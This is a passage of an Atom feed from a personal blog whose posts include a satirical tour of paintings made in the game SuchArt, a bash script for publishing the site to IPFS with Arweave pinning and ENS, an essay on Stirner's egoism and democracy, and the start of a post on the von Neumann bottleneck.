<p><strong>Update</strong>: Okay, so I've gotten some sleep and re-read all of this and now I've found something else to lose sleep over - that is; my entire spiel on authoritarians is completely unsupported with anything. I mean yeah, it is a rant, but I'd rather not say stupid things that's not backed up by anything (especially if this is your first time hearing about it).</p>
<p>So I might make another post with actual sources but if that never happens, "The Authoritarians" by Bob Altemeyer is a good book to read (it's short too, only took me a few hours), and you can download it for free <a href="https://theauthoritarians.org/options-for-getting-the-book/">from here.</a></p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[A Tour Of My Art Gallery]]></title>
        <id>https://justin.duch.me/post/art_gallery</id>
        <link href="https://justin.duch.me/post/art_gallery"/>
        <updated>2021-07-25T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>I know some of you only visit this website so you can see the majestic art I draw for each post. Every day I get fan mail from <strong>thousands</strong> of adoring fans calling me the next <code class="prettyprint">FAMOUS_ARTIST</code>, and that they wish they could see me rise to my full potential and not be limited to trying to make something relevant to some dumb blog post, but instead create true masterpieces unconstrained by content.</p>
<p>Thankfully, with the <strong>power of video games</strong>, your dream is now coming true!</p>
<p><a href="https://store.steampowered.com/app/1293180/SuchArt_Genius_Artist_Simulator/">SuchArt</a> is a game where you can paint. There's more to it than that but this isn't a review so I don't care. In the game you unlock a "virtual art gallery" where you can display all the paintings you've made - "virtually" (the real paintings get sent to the people who commissioned it or bought it off the marketplace).</p>
<p>I've finished the game (the main story at least) recently, and I've made a body of work that I'm happy with. So today I'm going to take you on a tour of my art gallery.</p>
<p><img src="/img/Photo_8.jpg" alt="ART!" /></p>
<p>The gallery is split into two wings: "A" and "B". We're starting at "A" obviously.</p>
<p><img src="/img/Photo_10.jpg" alt="ART!" /></p>
<p>Ah here it is, the one on the left is the first painting I ever produced. If it's too complicated for your simple minded brain - that's a unicorn. I know, it's a truly unique take on the legendary mythical creature. But you should notice the intense imagery of the unicorn only having two (but very thicc) legs to stand on. This demonstrates how it's not the quantity that's important, but the quality. You'll see this quality all throughout my works.</p>
<p>Another image is that if you look very closely at the top right, you'll see that the sun is <strong>wearing sunglasses</strong>. Such a profound political statement is another thing you'll see very often with my art.</p>
<p>The one of the right is my "unicorn remaster". I made it a smaller image to strip away the unnecessary fluff, and focus on the central images. You'll also notice the sun wearing sunglasses is more prominent with a more noticeable yellow.</p>
<p><img src="/img/Photo_11.jpg" alt="ART!" /></p>
<p><del>This is probably the only painting that actually looks kinda okay.</del> I got to be honest, I don't know if your brain is going to survive taking in all these paintings that display such high level ideas. The most noticeable thing with this one is that the sun <strong>isn't</strong> wearing sunglasses. And when you realise there's a true space "ship" (with a sail and everything) in front of it, you can make some interesting contrasts to the unicorns of before that really make you think about the nature of time itself.</p>
<p><img src="/img/Photo_12.jpg" alt="ART!" /></p>
<p>Where to even begin… erhmm let's start with the left-most paintings.</p>
<p>The top image is the most photo-realistic picture of the "Pocket Monster" Pikachu I've ever seen. I'm normally quite a humble person, but I think I can praise myself just this once. It's not just that the painting itself is impressive but it also tells quite a sad story. Pikachus don't exist in real life, so a photo-realistic Pikachu is fated to be left in the black of loneliness unable to interact with the real or anime world. This Pikachu is lashing out with it's electricity attacks, but the void does not care.</p>
<p>Below it is a painting I was commissioned to do by a crab, who wanted a painting of the "most important human monument". The painting I drew of course, is of the Sydney Harbour Bridge. You see, SuchArt takes place in 2130, which probably means that Earth has been destroyed climate change and is a watery hell-hole. So what do people use to avoid water? Bridges.</p>
<p>Next is someone praising the sun. I'll let you come up with your own conclusions on that <del>because I certainly don't know what it means</del>.</p>
<p>And finally the central piece, a horrifying creature, but not horrifying in such a way that the creature itself is scary. Instead, horrifying in the way that you realise that it was a this point that I found out that you don't actually <strong>need</strong> to use paint brushes to make paintings, but you can also just place the palette paint down on the canvas and drag it around. This really goes to show that even a genius artist such as myself learns new things every day. So this painting of horror becomes a painting of inspiration.</p>
<p><img src="/img/Photo_13.jpg" alt="ART!" /></p>
<p>This is a nice painting of PetBot who is my best friend in the whole universe. The brown symbolises how our friendship will always stick us together.</p>
<p><img src="/img/Photo_14.jpg" alt="ART!" /></p>
<p>Ah, yet another political statement. This is a sideways flag of the Netherlands that is crossed out, telling you: "No! Don't do this!" Once again since Earth is a watery hell-hole, the Netherlands is probably completely submerged and it's really disrespectful to rotate their flag like this.</p>
<p>If you ever see anyone with this flag, make sure you punch them in the face. These people also tend to talk funny, so they're pretty easy to spot.</p>
<p><img src="/img/Photo_15.jpg" alt="ART!" /></p>
<p>This is a commission of somebody's baby. At the top left, you'll see how I <del>ran out of purple paint and was too lazy to get more, so I just used green I had lying around</del> used green to symbolise how "fresh" this baby was.</p>
<p><img src="/img/Photo_16.jpg" alt="ART!" /></p>
<p>I won't get too deep into these, don't want to spoil the fun for those of you that enjoy trying to figure these our for yourselves. But I will say that the "BORGER" painting takes inspiration from a burger advertisement I see outside the studio I paint these from.</p>
<p><img src="/img/Photo_17.jpg" alt="ART!" /></p>
<p>Ohh look at this! A triple whammy of artistic masterpieces!</p>
<p>The one of the left is an album cover. I know, making an album cover is not something you'd expect such a famed artist as myself to stoop to. But that's what's so incredible about it, it demonstrates that art can come from anywhere and be anything. And keep in mind that I <a href="/post/music_quest">hate most forms of music</a>, so it also shows how art can bring beauty in the things that don't really deserve it.</p>
<p>The next is yet another subversion of expectations. By now you probably think that all my paintings have these deep inner meanings that completely transform your understanding of our world. But this one doesn't! It's just a nice painting of a forest in winter.</p>
<p>And finally… cheese.</p>
<p><img src="/img/Photo_18.jpg" alt="ART!" /></p>
<p>Wow this one is really special. Remember when I told you about the crab who commissioned an art piece from me? Well I wasn't joking, the "Crabux" are an intelligent space faring species who live with us now. Some people don't like this, so I felt like I had a civic duty to end racism with this piece.</p>
<p>Notice how the person holding the gun to the crab is crossed out, but the person holding hands with the crab is ticked. Such subtle symbolism is something I'm quite proud of.</p>
<p><img src="/img/Photo_19.jpg" alt="ART!" /></p>
<p>These are also ones I think it would be fun for you to figure out for yourselves. I'd especially take attention to how these paintings have been laid out on the wall, combined with the painting in the middle which tells quite the compelling story.</p>
<p><img src="/img/Photo_20.jpg" alt="ART!" /></p>
<p>Guests will also sometimes come to your gallery and here's one now. My gallery actually gets pretty crowded, so I normally just ban anyone in front of the paintings so I can get a good picture of them, but I've let this one live.</p>
<p>They're looking at one of my more popular paintings, a ghost. Ghosts can be many things to different people, but I decided to capture it as the core essence of humanity - the enemies from Pacman.</p>
<p><img src="/img/Photo_9.jpg" alt="ART!" /></p>
<p>That's all from wing "A", now it's time to go into wing "B"!</p>
<p><img src="/img/Photo_23.jpg" alt="ART!" /></p>
<p>Because it seemed like my previous piece about the Crabux didn't actually end racism, I decided to make another. This is a satire piece making fun of those who think the Crabux are going to invade humanity and take over. Look how afraid that dumb human is of the cute crab! LMAO!</p>
<p><img src="/img/Photo_25.jpg" alt="ART!" /></p>
<p>At some point, it came to my attention that humans are afraid of everything. Apparently some of them think that robots steal their babies. I decided to put this to rest and create <del>propaganda</del> an art piece which will hopefully calm some of them down. One of the more interesting things about this work is that the top isn't painted in. This is because I was too short to reach the top, symbolising how humans have their faults too.</p>
<p>The other painting was made with a flame-thrower. Why is there a flame-thrower in this game? Either way it helped to create the fire under the ice.</p>
<p><img src="/img/Photo_26.jpg" alt="ART!" /></p>
<p>Another crab wanted an art piece of my favourite animal, which is the "video game raccoon" (or better known as a "red panda"). I gave the animal a tricorne to wear on its head to hopefully explain to the crab the important role that video game raccoons played in the development of Earth in the 18th century.</p>
<p><img src="/img/Photo_27.jpg" alt="ART!" /></p>
<p>This is my collection of abstract art pieces. I've noticed a lot of other people who played this game did abstract art, but I've mainly tried to stay away from it. I find abstract art too easy too make stuff up about, unlike what I usually produce which requires years of thought to even begin painting.</p>
<p>Really, these pieces don't actually mean anything. But are here to appease the people who think it's a valid art form, like the visitor in the picture, who seems absolutely enamoured with the works. And here it is: the picture you're looking at is the actual work of art I wanted to create.</p>
<p>A visitor at a gallery who is so sure that these abstract art pieces must mean <strong>something</strong>, but in reality they mean <strong>nothing</strong>. They can make up whatever they want, to feel smart, to show off in front of their peers and pretend that they know something. But it's all a farce, and the art looks at them and laughs.</p>
<p><img src="/img/Photo_28.jpg" alt="ART!" /></p>
<p>You do not recognise the bodies in the water.</p>
<p><img src="/img/Photo_29.jpg" alt="ART!" /></p>
<p>Oh yes, this will need a bit of explaining. You see, this is the most important work of art in the history of humanity and played a role in determining the future of the galaxy.</p>
<p>You should know by now that I deeply care about humans, crabs, and robots living together in peace. That's always been my dream.</p>
<p>But until this piece, all my other works that attempted to solve this issue weren't complete successes. I spent decades trying to figure out why that is, it just didn't make sense to me - the paintings told people to not be racist, so why were people still racist?</p>
<p>That's when it hit me: these pieces shouldn't be about what we <strong>don't</strong> like, that's a negative message that's ineffective in combating social issues. It should instead be about what we <strong>do</strong> like. What we <strong>all</strong> like.</p>
<p>By highlighting a BAGWETTE, the one thing everyone loves, we can sort our differences. Because it's our differences that make us the same.</p>
<p><img src="/img/Photo_30.jpg" alt="ART!" /></p>
<p>With peace upon the galaxy, I felt like I had achieved my destiny. But I still found enjoyment in painting, so I made a quick commemoration painting to celebrate how far we'd come to become whole.</p>
<p><img src="/img/Photo_31.jpg" alt="ART!" /></p>
<p><img src="/img/Photo_32.jpg" alt="ART!" /></p>
<p>These are some more paintings I made to that end.</p>
<p>And that's the end of the tour! Hope you learned something. If you want to stick around I'll be giving a tour of the studio where the magic happens next!</p>
<hr />
<p><img src="/img/Photo_34.jpg" alt="ART!" /></p>
<p>This is where the paintings on the big canvases are made. I'd normally clean it, but I thought it would be good to show you what it looks like after a painting has been created.</p>
<p><img src="/img/Photo_35.jpg" alt="ART!" /></p>
<p>And here is where the smaller canvas paintings are.</p>
<p><img src="/img/Photo_36.jpg" alt="ART!" /></p>
<p>This is a sculpture I could afford to buy because apparently painting in this world makes you rich.</p>
<p><img src="/img/Photo_33.jpg" alt="ART!" /></p>
<p>This is PetBot's room. Here he is mining cryptocurrencies for me.</p>
<p><img src="/img/Photo_38.jpg" alt="ART!" /></p>
<p>Here is the burger advertisement I used as inspiration for the "BORGER" painting in case you wanted to see it.</p>
<p><img src="/img/Photo_37.jpg" alt="ART!" /></p>
<p>And finally, here's proof that I'm famous. See how I have 7 stars? That means I'm good at art.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Attempting To Become Immortal With Web 3.0]]></title>
        <id>https://justin.duch.me/post/web3_immortal</id>
        <link href="https://justin.duch.me/post/web3_immortal"/>
        <updated>2021-07-07T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>One day I'm going to stop paying for the infrastructure that this blog is hosted on, which means no one will be able to read this ever again. This is a huge problem for me because I'm a giant narcissist and I consider all my posts works of <strong>art</strong> so everyone should be able to read it whenever and long after I'm dead.</p>
<p>Currently, I archive all my posts on the Wayback Machine from the <a href="https://archive.org">Internet Archive</a>, which is a free service and that means not paying them doesn't make them remove my stuff. But I don't think this is enough since all their infrastructure is their own, and while I'm sure they will be around for a long time, there's always the chance that something could go wrong. I just don't think a centralised service is the best way to become immortal.</p>
<p>So far I've looked at IPFS, which I wrote a little about <a href="/post/7a6d394a8cb0d25564cc7a1f9f1b1df9b53d792271f1f8a0efceff1d762a6801">here</a>. It's certainly possible to host a static site like this on IPFS, but it isn't easy. So let's go through what I did.</p>
<p>Ideally, I wanted to be able to publish the site on IPFS without actually changing any of the posts (because I'm lazy). Which means any needed changes will have to be made during the build process through a script. Let's start writing that script now:</p>
<pre class="prettyprint linenums"><code># remove old build
rm -r build_ipfs

# run svelte-kit build
npm run export

# svelte-kit has no options to build to a different dir
cp -r build/ build_ipfs/

cd build_ipfs
</code></pre>
<p>The first problem is with links.</p>
<p>Given the way that the <code class="prettyprint">localhost:8080</code> and <code class="prettyprint">ipfs.io</code> gateway works, absolute links don't work at all. If you try to re-host a website using them onto IPFS, all the absolute links will yank out the <code class="prettyprint">/ipfs/</code> or <code class="prettyprint">/ipns/</code> bit of the URL and replace it with just the linked path (which doesn't exist on the gateway). This is problematic because every link on this blog is an absolute link.</p>
<p>So now our new build process has to convert all the absolute links into relative links. And thankfully, there's an <code class="prettyprint">npm</code> package for this: <a href="https://www.npmjs.com/package/all-relative">all-relative</a> and now after the initial build we can run that. Let's add it to the script:</p>
<pre class="prettyprint linenums"><code class="bash language-bash">all-relative
</code></pre>
<p>The next problem is that JavaScript doesn't work. At all.</p>
<p>But that isn't actually that big of an issue for me. The Wayback Machine doesn't support it as well, and there aren't that many posts that need JS. I've put in some effort a while back to make sure this site worked without JS as well for a situation like this.</p>
<p>Next, we can add the build to IPFS.</p>
<pre class="prettyprint linenums"><code>cd ..
export NEW_CID=$(ipfs add -r --cid-version 1 build_ipfs | tail -1 | cut -d' ' -f2)
echo "New release CID: $NEW_CID"
</code></pre>
<p>Now we should be able to access it on the public gateway, for example using the CID outputted:</p>
<pre class="prettyprint linenums"><code>http://127.0.0.1:8081/ipfs/bafybeifuexczvwdwfbixzwrnaabann5dgwswesaj6noyhgeuedktvyeuma
</code></pre>
<p>Great, now this site is reachable on the public IPFS network. But, we've only uploaded our files using the local node. IPFS has a fairly aggressive caching mechanism that will keep an object local for a short time after you perform any IPFS operation on it, but these objects may get garbage-collected regularly. Which means that when our computer goes offline, the website might no longer be reachable after it's cleared from other nodes' cache.</p>
<p>IPFS allows nodes to "pin" files which allows them to always keep the object somewhere. So technically, if enough people pin this website, it will never go down. But I don't think I'm famous enough for people pin this. Instead, most people use a "pinning service" like <a href="https://pinata.cloud">Pinata Cloud</a>.</p>
<p>This brings more issues however, one is that these services are once again: centralised, and pay-as-you-go, which just brings us back to buying infrastructure to host the blog. What we really want is something decentralised, and either free or paid upfront to store forever.</p>
<p>The answer is blockchain, because <strong>of course</strong> it is. What else were you expecting?</p>
<p>The <a href="https://www.arweave.org">Arweave</a> blockchain can store and pin files onto IPFS to keep them available permanently. We're going to use an API from <a href="https://ipfs2arweave.com">ipfs2arweave</a> which is also free, so that's cool. And we're also going to call the Cloudflare and <a href="https://ipfs.io">ipfs.io</a> IPFS gateways first to speed up the propagation of our object.</p>
<pre class="prettyprint linenums"><code>curl "https://cloudflare-ipfs.com/ipfs/$NEW_CID/" > /dev/null
curl "https://ipfs.io/ipfs/$NEW_CID/" > /dev/null
curl -X POST "https://ipfs2arweave.com/permapin/$NEW_CID"
</code></pre>
<p>There's also <a href="https://filecoin.io">Filecoin</a>, which does a similar thing and is backed by IPFS. But I have bad memories of a job I had trying to get a Filecoin miner to work, so I don't really want anything to do with the project any more.</p>
<p>Lastly, we'll need to link the IPFS CID to a domain.</p>
<p>The standard way to address IPFS files using a DNS system is to use the so-called <a href="https://docs.ipfs.io/concepts/dnslink/">DNSLink</a>. It is a TXT DNS record that maps the website URL to its corresponding IPFS CID. But DNS has the pay-as-you-go problem we want to avoid (the longest I've ever seen a domain name bought for is 10 years).</p>
<p>Instead we'll be using ENS.</p>
<blockquote>
  <p>The Ethereum naming service (ENS) is a decentralized way to address resources. Like DNS, which converts human-readable names to IP addresses, ENS converts human-readable names such as randomplanetfacts.eth.link to Ethereum addresses. These addresses can then be used to point to CIDs on IPFS. Without going into too much detail, ENS aims to fix some of DNS's problems, mainly man-in-the-middle attacks and scalability.</p>
</blockquote>
<p>While you can only purchase an Ethereum for a limited amount of time, there is no limit to how long you can hold it (as long as you can pay for it). Right now buying the domain <code class="prettyprint">peepeepoopoo.eth</code> (or renewing it, since it's already bought) for 1000 years will cost USD$5003.32. Linking it to an IPFS CID requires you to edit the <code class="prettyprint">Content</code> record, which also has a fee attached for each time you want to change the CID.</p>
<p>ENS isn't the best solution however, its "decentralisation" is debatable as someone still owns the <code class="prettyprint">.eth</code> TLD. On their <a href="https://docs.ens.domains/frequently-asked-questions#who-owns-the-ens-rootnode-what-powers-does-that-grant-them">FAQ</a> they explain:</p>
<blockquote>
  <p>The root node is presently owned by a multisig contract, with keys held by trustworthy individuals in the Ethereum community. We expect that this will be very hands-off, with the root ownership only used to effect administrative changes, such as the introduction of a new TLD, or to recover from an emergency such as a critical vulnerability in a TLD registrar.</p>
  <p>Since the owner of a node can change ownership of any subnode, the owner of the root can change any node in the ENS tree. This means that the keyholders can replace the contracts that govern issuing and managing domains (on .eth or any other top-level domain), giving them ultimate control over the structure of the ENS system and the names registered in it.</p>
</blockquote>
<p>It's not perfect, but I don't think there's a better option. There also isn't really a way I could add this to the build script since it requires an Ethereum wallet, so I'll have to do it manually.</p>
<p>Overall, this was a very confusing experience that took me several days to figure out and I didn't enjoy a single second of it.<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span> The current Web 3.0 ecosystem offers some unique features that I actually am looking forward to exploring more, but it's still in a pretty rough state. It does <strong>work</strong> though, so that must count for something.</p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>I spared you a story about how I attempted to fix a part of the "all-relative" package, but because NodeJS sucks major peepee I ended up 4 dependencies above and banging my head against "security vulnerabilities". I wasn't able to fix it.</span></aside>
<p>Once the protocol gets faster, I think it would also be a good idea to replace my CDN used for images with IPFS. And I would actually like to find a way to do something like this that allows JS to run though, because that's where the real art on this blog is.</p>
<p>I'd also like to have somewhere that on this site that links to the current IPFS CID, but since that would technically change the contents of the blog, it would make a new CID so it would never actually be up to date.</p>
<p>Here is the entire build script for your reference:</p>
<pre class="prettyprint linenums"><code class="bash language-bash"><span class="hljs-meta">#!/bin/bash</span>
<span class="hljs-comment"># Build and deploy to IPFS</span>

<span class="hljs-comment"># brew install --cask ipfs</span>
<span class="hljs-keyword">if</span> [ ! -f ~/.ipfs/api ]; <span class="hljs-keyword">then</span>
  <span class="hljs-built_in">echo</span> <span class="hljs-string">&quot;IPFS daemon not running&quot;</span>; <span class="hljs-built_in">exit</span> 1;
<span class="hljs-keyword">fi</span>

<span class="hljs-built_in">rm</span> -r build_ipfs
npm run <span class="hljs-built_in">export</span>
<span class="hljs-built_in">cp</span> -r build/ build_ipfs/

<span class="hljs-built_in">cd</span> build_ipfs

find ./post -name <span class="hljs-string">&#x27;*.html&#x27;</span> -not -path <span class="hljs-string">&#x27;build/post/spe_*&#x27;</span> -<span class="hljs-built_in">exec</span> gsed -i <span class="hljs-string">&#x27;/type=&quot;svelte-data&quot;/d&#x27;</span> {} \;

<span class="hljs-comment"># npm install -g all-relative</span>
all-relative 1&gt;/dev/null

<span class="hljs-built_in">cd</span> ..
<span class="hljs-built_in">export</span> NEW_CID=$(ipfs add -r --cid-version 1 build_ipfs | <span class="hljs-built_in">tail</span> -1 | <span class="hljs-built_in">cut</span> -d<span class="hljs-string">&#x27; &#x27;</span> -f2)

curl <span class="hljs-string">&quot;https://cloudflare-ipfs.com/ipfs/<span class="hljs-variable">$NEW_CID</span>/&quot;</span> &gt; /dev/null
curl <span class="hljs-string">&quot;https://ipfs.io/ipfs/<span class="hljs-variable">$NEW_CID</span>/&quot;</span> &gt; /dev/null
curl -X POST <span class="hljs-string">&quot;https://ipfs2arweave.com/permapin/<span class="hljs-variable">$NEW_CID</span>&quot;</span>

<span class="hljs-built_in">echo</span> <span class="hljs-string">&quot;New release CID: <span class="hljs-variable">$NEW_CID</span>&quot;</span>
</code></pre>
<p><strong>Update 2021-07-09:</strong> Okay turns out JS does work, but only through certain IPFS gateways like <code class="prettyprint">ipfs.localhost</code> and <code class="prettyprint">dweb.link</code> (and not on <code class="prettyprint">cloudflare-ipfs.com</code> or <code class="prettyprint">ipfs.io</code>). Luckily, the ENS domain directs you to <code class="prettyprint">dweb.link</code> so if you go to <a href="https://beanpupper.eth.link">beanpupper.eth.link</a>, the JS should be running.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Egoism For The Curious]]></title>
        <id>https://justin.duch.me/post/egoism_for_the_curious</id>
        <link href="https://justin.duch.me/post/egoism_for_the_curious"/>
        <updated>2021-06-16T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>"Chick tracts" are short evangelical gospel tracts, originally created and published by American publisher and religious cartoonist Jack T. Chick.</p>
<blockquote>
  <p>It's hard to imagine that any of these bizarre fables actually changed anyone's mind; they were mostly a way for evangelicals to convince themselves they were preaching God's word while taking on all the impersonal efficiency demanded by Mammon. Nearly all of them involved a fantasy drama of conversion to Christianity, in which the ordinary person seemed to have never even heard of Christian ideas but believes them on the spot ("Wow—you're saying Jesus Christ died for my sins? That's so cool!").</p>
  <ul>
  <li><a href="https://www.vice.com/en/article/avakej/obituary-for-jack-chick-evangelical-cartoonist">Jack Chick Is Dead but His Horrible, Ridiculous Cartoons Will Never Die,</a> Sam Kriss (Vice 2016)</li>
  </ul>
</blockquote>
<p>Chick tracts are honestly one of my most read comics, only topped by <a href="https://xkcd.com/">xkcd.</a> They're awful, vile, equal parts hate literature and fire-and-brimstone sermonizing. And I've read so many of them, because just as Kriss says,</p>
<blockquote>
  <p>[they] were entrancing precisely because they seemed so incapable of imagining anyone else's point of view, of even pretending to meet me halfway. They showed a complete, perfect secondary world, one that looked just like this one, but one in which people didn't behave like real people, or talk like them either ("Haw haw haw!"), which was swarming with actual demons, fanged, and ugly—and millions seemed to really think they were living in it.</p>
</blockquote>
<p>My favourite tract, of course, is this one.</p>
<p><img src="/img/chick-tract.jpg" alt="image-alternative" /></p>
<p>Because it's correct.</p>
<p>Political ideologies are actually a really boring subject - to learn about, discuss, and critique. I'm generally a person who's very interested in political theory, but even I can't stomach spending hours reading drivel that's either too terse in it's language to parse, or has a prose to flowery to understand, just so the people writing it can feel smarter than everyone else.</p>
<p>But not with Max Stirner.</p>
<p>Developed by an edgy, a-moralist German philosopher from the 18th century, "Egoism" is an ideology that emphasizes the individual over any other kind of guiding principle; that is, the individual should do as they please, not bound by any law or moral code. Social constructs like Christianity, nationalism, morality, capitalism, communism, and even society are called "phantasms", or as they are more commonly known, "spooks". This name comes from Stirner to describe the actions of these institutions as similar to that of ghosts. They are immaterial, but can still have an affect on, or even possess the individual.</p>
<p>"The Unique and Its Property" is a good book. Certainly better than the book about bread that Kropotkin wrote. Stirner uses straightforward, even fairly simple language, filled with passion and sarcasm, to express ideas that are difficult, though probably more in the fact that very few people would want to accept their implications.</p>
<p>Stirner argues that everyone is selfish and aims for their own goals, even the community only aims to benefit the community without regard to others. While those that have trapped themselves into following a "spook" are involuntary egoists only following a doctrine because they believe it is the right thing to do which makes them happy or fulfilled.</p>
<p>The difference between an unwilling and a willing egoist is that the former will be "possessed" by an empty idea and believe that they are fulfilling a higher cause, but usually being unaware that they are only fulfilling their own desires to be happy or secure. In contrast, the latter will be a person that is able to freely choose its actions, fully aware that they are only fulfilling individual desires.</p>
<p>I like Egoism for the same reason I like Chick tracts - the absolute absurdity of it. The difference, however, is that I can actually agree with Egoism on some basis.<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span></p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>Going around and calling everything I don't like a "spook" is also incredibly fun.</span></aside>
<p>I don't normally like apply labels to people (but mostly to myself) because I consider them to be a reductive way of describing things. But sometimes they're useful for when there isn't any time to (or I just don't want to) explain something properly, and slapping on a "well-defined"<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span> label is an easy solution.</p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>Labels are almost never "well-defined", one reason for why they're reductive.</span></aside>
<p>In terms of political ideologies, I would be labelled closest as an Anarcho-Syndicalist, which means that I must obviously <strong>worship</strong> democracy as a method of organisation. And I do, to some extent, I've preached the magnificence of direct democracy on this site plenty of times.</p>
<p>But democracy is a spook and here's why.</p>
<p>Democracy does not as it promises, give everyone the right to influence the decisions affecting them, because a person who voted on the losing side had no influence on that decision. In a winner-take-all system there is no incentive to compensate or conciliate defeated minorities, who have been told, in effect, that not only are they not to get their way, they are also stigmatised as wrong. The unaccountable majority is arrogant; the defeated minority is resentful.</p>
<p>Preference varies in intensity, but consent does not. Where preference is more or less, consent is yes or no. The vote of a person who has only a slight preference for a candidate or measure counts the same as the vote of someone passionately opposed. A majority with slight preferences one way may outvote almost as many strong preferences the other way. To put it another way, the opportunity to influence a decision is not proportionate to one's legitimate interest in the outcome.</p>
<p>Democracy does not account for the individual, the "Unique". It is very spooky.<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span></p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>This is a funny joke, please laugh.</span></aside>
<p>People claim that democracy promotes dialogue, but where is the dialogue about democracy itself? People are unaware that it's even possible to critique democracy, as if it's a done deal. We just take it for granted that somebody (Locke? Rousseau? Lincoln? Churchill?) has long since made out a strong case for democracy. They didn't, nobody ever did.</p>
<p>It really is not hard to poke holes in democracy, just turn on the news.</p>
<p>But is there anything better than democracy?</p>
<p>Fascism? Fuck no.</p>
<p>Egoism? No not really, it's too ill-defined, loose, and frankly, kinda stupid.</p>
<p>A society where <strong>everyone</strong> (not just a few people) is somehow magically maximising how pleased their Unique is, no matter what anyone else thinks or believes, would be more utopian than whatever the Anarchists have come up with.<span class="footnote-link" id="footnote-4"><sup>(4)</sup></span></p>
<aside class="footnote-body" id="footnote-4-body"><sup>(4)</sup><span>And we're already pretty close to the top of being utopian.</span></aside>
<p>But, the point is that there is a lot of merit in Egoism either way. An ideology whose existence it seems, is to do nothing but mock others and self-aggrandise, is important to finding the flaws of your own.</p>
<p>Before I go, one last person I want to mention is Diogenes, for obvious reasons.</p>
<p>Stirner explicitly praised Diogenes as a conscious Egoist in The Unique and Its Property.</p>
<blockquote>
  <p>What else was Diogenes of Sinope looking for if not the true enjoyment of life, which he found in having the least possible wants?</p>
</blockquote>
<p>And any time I get to talk about that old public masturbating fart is a good time, so let's do some here. Here's one of my favourite stories about Diogenes from his <a href="https://en.wikipedia.org/wiki/Diogenes">Wikipedia page.</a></p>
<blockquote>
  <p>While Diogenes was relaxing in the morning sunlight, Alexander [the Great], thrilled to meet the famous philosopher, asked if there was any favour he might do for him. Diogenes replied, "Yes, stand out of my sunlight." Alexander then declared, "If I were not Alexander, then I should wish to be Diogenes." "If I were not Diogenes, I would still wish to be Diogenes," Diogenes replied.</p>
</blockquote>
<p>This man is my hero.</p>
<p>In conclusion, calling everything a "spook" is the best thing since long, thin, un-sliced bread that's recently been submitted for <a href="https://www.bbc.com/news/world-europe-56540232">Unesco heritage status.</a></p>
<hr />
<p>If you are confused about all my references to Anarchism and don't know what it is, you can read my <a href="/post/anarchism_for_the_curious">last post here ;)</a></p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Solving the Greatest Crisis of Our Time]]></title>
        <id>https://justin.duch.me/post/spe_001</id>
        <link href="https://justin.duch.me/post/spe_001"/>
        <updated>2021-06-03T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Please read on original website.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Incoherent Ramblings On Computer Architecture]]></title>
        <id>https://justin.duch.me/post/computers_are_slow</id>
        <link href="https://justin.duch.me/post/computers_are_slow"/>
        <updated>2021-05-06T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>All computers are too bloated, slow, inflexible, complicated, and poorly designed.</p>
<p>The most abstract notion of what a "computer" is its high level architecture. And every "computer" follows the same <a href="https://en.wikipedia.org/wiki/Von_Neumann_architecture">von Neumann architecture</a> (some just have extra steps).</p>
<p>In its simplest, a von Neumann computer (which is every computer) has three parts: a central processing unit (or CPU), memory (any place which stores data), and something to transmit data from the CPU to memory and vice-versa (this is called a "bus").</p>
<p>Times have changed, and there are many more elements that go into a computer, but they can all still be simplified into these three things. For our examples, let's pretend that hard drives and RAM are the same thing because they essentially do the same things: store data (it's just that RAM is faster), so they're just going to both be called "memory".</p>
<p>So with our simplified example, here's how a computer executes a program (which sits in memory):</p>
<ol>
<li>The CPU fetches the next instruction of the program from memory.</li>
<li>It executes the instruction.</li>
<li>If the instruction requires a piece of data, it fetches the data from memory.</li>
<li>If the instruction creates data it will need later, it gives the data to memory.</li>
<li>If its the last instruction, it's finished, otherwise go to 1.</li>
</ol>
<p>The task of any program is to change the contents of the memory in some major way, which means endlessly passing data back and forth through the bus. This shared bus between the CPU and memory leads to the "von Neumann bottleneck" as the work that the CPU can do is limited by the data transfer rate of the bus. This can seriously limit the effective processing speed when the CPU is required to perform minimal processing on large amounts of data. The CPU is continually forced to wait for needed data to move to or from memory.</p>
<p>A large part of the traffic in the bottleneck is not just the data but also names of that data, as well as operations and data used only to compute such names. With our current address-based memory architecture, before data can be sent through the bus its address in memory must be in the CPU, so it must either be also sent through the bus from memory or be generated by some CPU operation (operations which also come from memory).</p>
<p>The von Neumann bottleneck was described by John Backus in his <a href="https://dl.acm.org/doi/pdf/10.1145/359576.359579">1977 ACM Turing Award lecture.</a> In it he expressed that:</p>
<blockquote>
  <p>Surely there must be a less primitive way of making big changes in the store than by pushing vast numbers of words back and forth through the von Neumann bottleneck. Not only is this tube a literal bottleneck for the data traffic of a problem, but, more importantly, it is an intellectual bottleneck that has kept us tied to word-at-a-time thinking instead of encouraging us to think in terms of the larger conceptual units of the task at hand. Thus programming is basically planning and detailing the enormous traffic of words through the von Neumann bottleneck, and much of that traffic concerns not significant data itself, but where to find it.</p>
</blockquote>
